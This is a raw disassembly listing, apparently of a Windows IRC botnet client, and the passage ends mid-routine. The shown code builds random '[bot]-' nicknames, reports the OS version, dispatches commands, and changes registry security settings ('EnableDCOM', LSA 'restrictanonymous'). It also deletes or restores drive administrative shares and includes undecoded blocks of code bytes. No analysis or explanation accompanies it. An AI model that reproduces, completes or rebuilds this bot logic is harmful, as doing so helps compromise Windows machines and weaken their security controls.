sub_415685+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_4156CA test al, al jz short loc_4156D9 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_43ADB0 cmp eax, 1 jz short loc_4156A3 jmp short loc_4156D5 ; --------------------------------------------------------------------------- loc_4156CA: ; CODE XREF: sub_415685+27j push offset dword_433038 call sub_40BFE1 pop ecx loc_4156D5: ; CODE XREF: sub_415685+19j ; sub_415685+43j xor eax, eax jmp short loc_4156DC ; --------------------------------------------------------------------------- loc_4156D9: ; CODE XREF: sub_415685+2Bj push 1 pop eax loc_4156DC: ; CODE XREF: sub_415685+52j pop esi leave retn sub_415685 endp ; =============== S U B R O U T I N E ======================================= sub_4156DF proc near ; CODE XREF: ___:004155E3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_41570A push [esp+arg_4] push [esp+4+arg_0] push offset dword_433070 call sub_40BFE1 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41570A: ; CODE XREF: sub_4156DF+11j push 1 pop eax retn sub_4156DF endp ; --------------------------------------------------------------------------- word_41570E dw 8B55h ; DATA XREF: sub_40EE72+5623o dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch dd 2026850h, 15FF0000h, 43AD10h, 0C63BF633h, 68501D74h dd 433234h, 0FF688CE8h, 0B475FFFFh, 191BE8h, 0CC48300h dd 0EFE89057h, 57021FABh, 41598C68h, 46E89000h, 85023BB4h dd 902975C0h, 23B3C0E8h, 0E4685002h, 0E8004331h, 0FFFF6859h dd 15FF5959h, 43ACF8h, 0E8B475FFh, 18E0h, 0B7E85759h, 90021FABh dd 8D106A53h, 5056E045h, 1B83E8h, 0CC48300h, 0E045C766h dd 75FF0002h, 9815FFB0h, 6A0043ADh, 26A5706h, 0E2458966h dd 0FFE47589h, 43AE1815h, 83D88B00h, 840FFFFBh, 13Bh, 6AB4458Bh dd 34C06910h, 89000002h, 4407FC98h, 0E0458D00h, 15FF5350h dd 43ADC4h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh, 43ADC0h dd 850FC085h, 103h, 43319868h, 0F045C700h, 0Ch, 89F47589h dd 42E8F875h, 59FFFF67h, 8D087D89h, 45C7FC45h, 10FCh, 458D5000h dd 0FF5350CCh, 43AE2C15h, 83F88B00h, 840FFFFFh, 0CAh, 8D0875FFh dd 6A500845h, 0FFFF6808h, 0FF570000h, 43AD7815h, 0FFF88300h dd 0B70FC574h, 75FFCE45h, 0C87589B4h, 0D075FF50h, 0AE2415FFh dd 8D500043h, 0FFFBEC85h, 314468FFh, 0E8500043h, 1A20h dd 0FBEC858Dh, 0E850FFFFh, 0FFFF66D1h, 0EC858D57h, 6AFFFFFBh dd 0B1E85006h, 89000014h, 0C069B845h, 234h, 83B44D8Bh dd 888924C4h, 4407F4h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh dd 41548068h, 0F0458D00h, 0E8905056h, 226B32Ch, 69B84D8Bh dd 234C9h, 89C63B00h, 44080481h, 39137400h, 850FC875h dd 0FFFFFF37h, 0E890326Ah, 21FB693h, 0E890EDEBh, 223B235h dd 30F86850h, 0CEE80043h, 59FFFF66h, 8B03EB59h, 15FF087Dh dd 43AD2Ch, 0EC858D50h, 68FFFFFBh, 4330B4h, 197EE850h dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 22E8FFFFh, 83FFFF7Dh dd 858D14C4h, 0FFFFFBECh, 6607E850h, 5759FFFFh, 0AE3015FFh dd 0FF530043h, 43AE3015h, 0F815FF00h, 0FF0043ACh, 0F5E8B475h dd 59000016h, 0CBE89056h, 5B021FA9h, 4439C033h, 940F0424h db 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_415996 proc near ; CODE XREF: sub_415D01+49p ; DATA XREF: ___:off_433280o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi nop call near ptr 2610765h push eax call sub_417302 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aBot ; "[bot]-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_4159EF loc_4159C9: ; CODE XREF: sub_415996+57j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4332D4 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_4159C9 loc_4159EF: ; CODE XREF: sub_415996+31j mov eax, edi pop edi pop esi retn sub_415996 endp ; =============== S U B R O U T I N E ======================================= sub_4159F4 proc near ; CODE XREF: sub_40EE72+3E7Fp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 2610765h push eax call sub_417302 pop ecx call sub_41730C push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_42F5C8 test esi, esi jle short loc_415A37 loc_415A21: ; CODE XREF: sub_4159F4+41j call sub_41730C push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_415A21 loc_415A37: ; CODE XREF: sub_4159F4+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_4159F4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 2610765h push eax call sub_417302 pop ecx lea eax, [ebp-8] mov esi, offset byte_4332DC push eax push esi nop call near ptr 27C0000h movsx eax, byte_4332DC push 41h pop ecx push 1 pop edx loc_415A7D: ; CODE XREF: ___:00415A88j cmp eax, ecx jnz short loc_415A84 mov [ebp-4], edx loc_415A84: ; CODE XREF: ___:00415A7Fj inc ecx cmp ecx, 5Bh jl short loc_415A7D push 61h pop ecx loc_415A8D: ; CODE XREF: ___:00415A98j cmp eax, ecx jnz short loc_415A94 mov [ebp-4], edx loc_415A94: ; CODE XREF: ___:00415A8Fj inc ecx cmp ecx, 7Bh jl short loc_415A8D mov edi, [ebp+8] push esi push 1Ch push edi call sub_41782A xor esi, esi add esp, 0Ch cmp dword_42F5C8, esi jle short loc_415AD9 loc_415AB3: ; CODE XREF: ___:00415AD7j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4332D4 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415AB3 loc_415AD9: ; CODE XREF: ___:00415AB1j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call near ptr 2610765h nop push eax call sub_417302 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 27E0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_4332E0 push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_415B4E loc_415B28: ; CODE XREF: ___:00415B4Cj call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4332D4 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415B28 loc_415B4E: ; CODE XREF: ___:00415B26j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_436EDC mov dword ptr [ebp-94h], 94h nop call near ptr 2791559h call near ptr 2610765h nop push eax call sub_417302 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_415BD8 cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BB8 cmp dword ptr [ebp-84h], 1 jnz short loc_415BA8 mov esi, offset a95 ; "95" loc_415BA8: ; CODE XREF: ___:00415BA1j cmp dword ptr [ebp-84h], 2 jnz short loc_415C14 mov esi, offset aNt ; "NT" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BB8: ; CODE XREF: ___:00415B98j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_415BC8 mov esi, offset a98 ; "98" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BC8: ; CODE XREF: ___:00415BBFj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_415C0F mov esi, offset aMe ; "ME" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BD8: ; CODE XREF: ___:00415B8Fj cmp dword ptr [ebp-90h], 5 jnz short loc_415C0F cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BF1 mov esi, offset a2k ; "2K" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BF1: ; CODE XREF: ___:00415BE8j cmp dword ptr [ebp-8Ch], 1 jnz short loc_415C01 mov esi, offset aXp ; "XP" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415C01: ; CODE XREF: ___:00415BF8j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_4332EC jz short loc_415C14 loc_415C0F: ; CODE XREF: ___:00415BCFj ; ___:00415BDFj mov esi, offset dword_42DDDC loc_415C14: ; CODE XREF: ___:00415BAFj ; ___:00415BB6j ... mov edi, [ebp+8] push esi push offset dword_4332E4 push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_415C58 loc_415C32: ; CODE XREF: ___:00415C56j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4332D4 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415C32 loc_415C58: ; CODE XREF: ___:00415C30j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C5E proc near ; CODE XREF: sub_415D01+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 2610765h xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_415CAD call dword_43ADA4 test eax, eax mov eax, offset dword_4332F8 jnz short loc_415C96 mov eax, offset byte_436EDC loc_415C96: ; CODE XREF: sub_415C5E+31j push eax push esi push offset dword_4332F0 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41782A add esp, 14h jmp short loc_415CCD ; --------------------------------------------------------------------------- loc_415CAD: ; CODE XREF: sub_415C5E+22j call dword_43ADA4 test eax, eax mov eax, offset dword_4332F8 jnz short loc_415CC1 mov eax, offset byte_436EDC loc_415CC1: ; CODE XREF: sub_415C5E+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_4172B0 pop ecx pop ecx loc_415CCD: ; CODE XREF: sub_415C5E+4Dj lea eax, [ebp+var_1C] push eax call sub_417AB0 pop ecx cmp eax, 2 pop esi jbe short loc_415CFC push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_418DE0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_418C10 add esp, 18h loc_415CFC: ; CODE XREF: sub_415C5E+7Dj mov eax, [ebp+arg_0] leave retn sub_415C5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D01 proc near ; CODE XREF: sub_40EB92+7Fp ; sub_40ECFA+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_43327C loc_415D0D: ; CODE XREF: sub_415D01+3Fj cmp [ebp+arg_C], 0 jz short loc_415D28 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_4176D0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_415D32 ; --------------------------------------------------------------------------- loc_415D28: ; CODE XREF: sub_415D01+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_415D32: ; CODE XREF: sub_415D01+25j test eax, eax jnz short loc_415D44 add esi, 14h inc edi cmp esi, offset dword_4332E0 jb short loc_415D0D jmp short loc_415D52 ; --------------------------------------------------------------------------- loc_415D44: ; CODE XREF: sub_415D01+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_433280[eax*4] pop ecx loc_415D52: ; CODE XREF: sub_415D01+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_415D65 push [ebp+arg_0] call sub_415C5E pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_415D65: ; CODE XREF: sub_415D01+57j mov eax, [ebp+arg_0] pop ebp retn sub_415D01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D6A proc near var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_43AD98 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_43AE18 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_415E28 lea eax, [ebp+var_10] push 10h push eax push esi call dword_43AD40 mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_4407FC[ecx], esi jz short loc_415E28 push [ebp+var_34] push [ebp+var_28] call dword_43AE24 push eax mov edi, offset dword_4CD784 push offset unk_4332FC push edi call sub_4172B0 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_40D679 push edi call sub_40BF6D add esp, 28h loc_415E28: ; CODE XREF: sub_415D6A+5Dj ; sub_415D6A+7Ej push esi call dword_43AE30 pop edi xor eax, eax pop esi leave retn 4 sub_415D6A endp ; --------------------------------------------------------------------------- byte_415E37 db 55h ; DATA XREF: sub_40EE72+35E0o dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh dd 8BA5F3FFh, 42406435h, 0A083C700h, 1000000h, 33000000h dd 0D475FFFFh, 0FFE075FFh, 43AE2415h, 858D5000h, 0FFFFFED0h dd 43333468h, 2DE85000h, 8D000014h, 0FFFED085h, 1FF68FFh dd 8B500000h, 0C069DC45h, 234h, 4405F005h, 6DE85000h, 8300002Dh dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 6A685057h, 5700415Dh dd 49E89057h, 3B0226ADh, 0FC4589C7h, 7D390B74h, 6A0675F4h dd 0EBD6FF32h, 0FC75FFF5h, 0BB31E890h, 0B3FF0221h, 88h dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 99E85008h dd 83000014h, 75FF0CC4h, 0CC15FF08h, 400043ACh, 8458950h dd 0AD9415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h dd 1470h, 0E90CC483h, 0FFFFFF3Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F28 proc near ; DATA XREF: sub_40EE72+5F4Fo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_415F6F call sub_415F88 jmp short loc_415F74 ; --------------------------------------------------------------------------- loc_415F6F: ; CODE XREF: sub_415F28+3Ej call sub_4162AC loc_415F74: ; CODE XREF: sub_415F28+45j add esp, 10h push [ebp+var_14] call sub_417078 pop ecx push 0 nop call near ptr 2610356h sub_415F28 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F88 proc near ; CODE XREF: sub_415F28+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_43AE68, edi jnz loc_4160BA lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43AE08 test eax, eax jnz short loc_416013 mov ax, word_4336E4 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43ADBC test eax, eax jz short loc_415FF5 push offset unk_4336A4 jmp short loc_415FFA ; --------------------------------------------------------------------------- loc_415FF5: ; CODE XREF: sub_415F88+64j push offset dword_433678 loc_415FFA: ; CODE XREF: sub_415F88+6Bj lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43AD74 jmp short loc_416026 ; --------------------------------------------------------------------------- loc_416013: ; CODE XREF: sub_415F88+36j lea eax, [ebp+var_214] push offset unk_433638 push eax call sub_4172B0 pop ecx pop ecx loc_416026: ; CODE XREF: sub_415F88+89j cmp [ebp+arg_C], edi jnz short loc_416045 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416045: ; CODE XREF: sub_415F88+A1j lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43AE08 test eax, eax jnz short loc_4160B3 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_43ADBC test eax, eax jz short loc_416095 push offset unk_4335D8 jmp short loc_41609A ; --------------------------------------------------------------------------- loc_416095: ; CODE XREF: sub_415F88+104j push offset unk_433594 loc_41609A: ; CODE XREF: sub_415F88+10Bj lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43AD74 jmp short loc_4160CD ; --------------------------------------------------------------------------- loc_4160B3: ; CODE XREF: sub_415F88+E2j push offset unk_433548 jmp short loc_4160BF ; --------------------------------------------------------------------------- loc_4160BA: ; CODE XREF: sub_415F88+13j push offset unk_433508 loc_4160BF: ; CODE XREF: sub_415F88+130j lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx loc_4160CD: ; CODE XREF: sub_415F88+129j cmp [ebp+arg_C], edi jnz short loc_4160EC push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_4160EC: ; CODE XREF: sub_415F88+148j lea eax, [ebp+var_214] push eax call sub_40BF6D cmp dword_43AE90, edi pop ecx jnz loc_416267 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41610F: ; CODE XREF: sub_415F88+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_43ACE4 cmp eax, edi mov [ebp+var_10], eax jz short loc_4161AC cmp eax, 0EAh jz short loc_4161AC mov esi, offset off_433370 loc_416140: ; CODE XREF: sub_415F88+21Dj push dword ptr [esi] push edi call sub_40DCC3 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_416157 push offset unk_4334D4 jmp short loc_41615C ; --------------------------------------------------------------------------- loc_416157: ; CODE XREF: sub_415F88+1C6j push offset unk_433498 loc_41615C: ; CODE XREF: sub_415F88+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41618F push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41618F: ; CODE XREF: sub_415F88+1EBj lea eax, [ebp+var_214] push eax call sub_40BF6D add esi, 8 pop ecx cmp esi, offset dword_433390 jb short loc_416140 jmp loc_416244 ; --------------------------------------------------------------------------- loc_4161AC: ; CODE XREF: sub_415F88+1AAj ; sub_415F88+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41623B loc_4161BB: ; CODE XREF: sub_415F88+2AFj mov edi, [esi] push edi call sub_41999C cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_416230 push edi call sub_40DBB0 push eax push 0 call sub_40DCC3 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_4161EA push offset unk_433464 jmp short loc_4161EF ; --------------------------------------------------------------------------- loc_4161EA: ; CODE XREF: sub_415F88+259j push offset unk_433428 loc_4161EF: ; CODE XREF: sub_415F88+260j lea eax, [ebp+var_214] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_416223 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416223: ; CODE XREF: sub_415F88+27Fj lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx loc_416230: ; CODE XREF: sub_415F88+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_4161BB xor edi, edi loc_41623B: ; CODE XREF: sub_415F88+22Dj push [ebp+var_8] call dword_43AE28 loc_416244: ; CODE XREF: sub_415F88+21Fj cmp [ebp+var_10], 0EAh jz loc_41610F lea eax, [ebp+var_214] push offset unk_4333F0 push eax call sub_4172B0 pop ecx pop ecx pop ebx jmp short loc_41627A ; --------------------------------------------------------------------------- loc_416267: ; CODE XREF: sub_415F88+177j lea eax, [ebp+var_214] push offset unk_4333B0 push eax call sub_4172B0 pop ecx pop ecx loc_41627A: ; CODE XREF: sub_415F88+2DDj cmp [ebp+arg_C], edi jnz short loc_416298 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416298: ; CODE XREF: sub_415F88+2F5j lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx push 1 pop eax pop edi pop esi leave retn sub_415F88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162AC proc near ; CODE XREF: sub_415F28:loc_415F6Fp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_43AE68, ebx push esi jnz loc_4163DA lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43AE08 test eax, eax jnz short loc_416337 mov ax, word_4338CC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43ADBC test eax, eax jz short loc_416319 push offset unk_433898 jmp short loc_41631E ; --------------------------------------------------------------------------- loc_416319: ; CODE XREF: sub_4162AC+64j push offset dword_43386C loc_41631E: ; CODE XREF: sub_4162AC+6Bj lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43AD74 jmp short loc_41634A ; --------------------------------------------------------------------------- loc_416337: ; CODE XREF: sub_4162AC+36j lea eax, [ebp+var_220] push offset unk_433638 push eax call sub_4172B0 pop ecx pop ecx loc_41634A: ; CODE XREF: sub_4162AC+89j cmp [ebp+arg_C], ebx jnz short loc_416369 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416369: ; CODE XREF: sub_4162AC+A1j lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43AE08 test eax, eax jnz short loc_4163D3 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_43ADBC test eax, eax jz short loc_4163B5 push offset unk_433820 jmp short loc_4163BA ; --------------------------------------------------------------------------- loc_4163B5: ; CODE XREF: sub_4162AC+100j push offset unk_4337DC loc_4163BA: ; CODE XREF: sub_4162AC+107j lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43AD74 jmp short loc_4163ED ; --------------------------------------------------------------------------- loc_4163D3: ; CODE XREF: sub_4162AC+E2j push offset unk_433790 jmp short loc_4163DF ; --------------------------------------------------------------------------- loc_4163DA: ; CODE XREF: sub_4162AC+13j push offset unk_433508 loc_4163DF: ; CODE XREF: sub_4162AC+12Cj lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx loc_4163ED: ; CODE XREF: sub_4162AC+125j cmp [ebp+arg_C], ebx jnz short loc_41640C push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41640C: ; CODE XREF: sub_4162AC+144j lea eax, [ebp+var_220] push eax call sub_40BF6D cmp dword_43AE90, ebx pop ecx jnz loc_416581 push edi mov esi, offset off_433370 mov edi, 200h loc_416430: ; CODE XREF: sub_4162AC+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_40DC17 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41644B push offset unk_433760 jmp short loc_416450 ; --------------------------------------------------------------------------- loc_41644B: ; CODE XREF: sub_4162AC+196j push offset unk_433728 loc_416450: ; CODE XREF: sub_4162AC+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41647F push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41647F: ; CODE XREF: sub_4162AC+1B7j lea eax, [ebp+var_220] push eax call sub_40BF6D add esi, 8 pop ecx cmp esi, offset off_433380 jb short loc_416430 nop call near ptr 27E064Ah test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_416569 loc_4164AA: ; CODE XREF: sub_4162AC+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41655E cmp bl, 41h jz loc_41655E movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41782A add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41782A add esp, 10h lea eax, [ebp+var_20] push eax call dword_43ADF8 cmp eax, 3 jnz short loc_41655E lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_40DC17 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41651C push offset unk_433760 jmp short loc_416521 ; --------------------------------------------------------------------------- loc_41651C: ; CODE XREF: sub_4162AC+267j push offset unk_433728 loc_416521: ; CODE XREF: sub_4162AC+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_416551 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416551: ; CODE XREF: sub_4162AC+289j lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx loc_41655E: ; CODE XREF: sub_4162AC+206j ; sub_4162AC+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_4164AA loc_416569: ; CODE XREF: sub_4162AC+1F8j lea eax, [ebp+var_220] push offset unk_4336E8 push eax call sub_4172B0 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_416594 ; --------------------------------------------------------------------------- loc_416581: ; CODE XREF: sub_4162AC+173j lea eax, [ebp+var_220] push offset unk_4333B0 push eax call sub_4172B0 pop ecx pop ecx loc_416594: ; CODE XREF: sub_4162AC+2D3j cmp [ebp+arg_C], ebx jnz short loc_4165B2 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_4165B2: ; CODE XREF: sub_4162AC+2EBj lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx push 1 pop eax pop esi pop ebx leave retn sub_4162AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165C6 proc near ; CODE XREF: ___:0041562Fp var_18 = dword ptr -18h 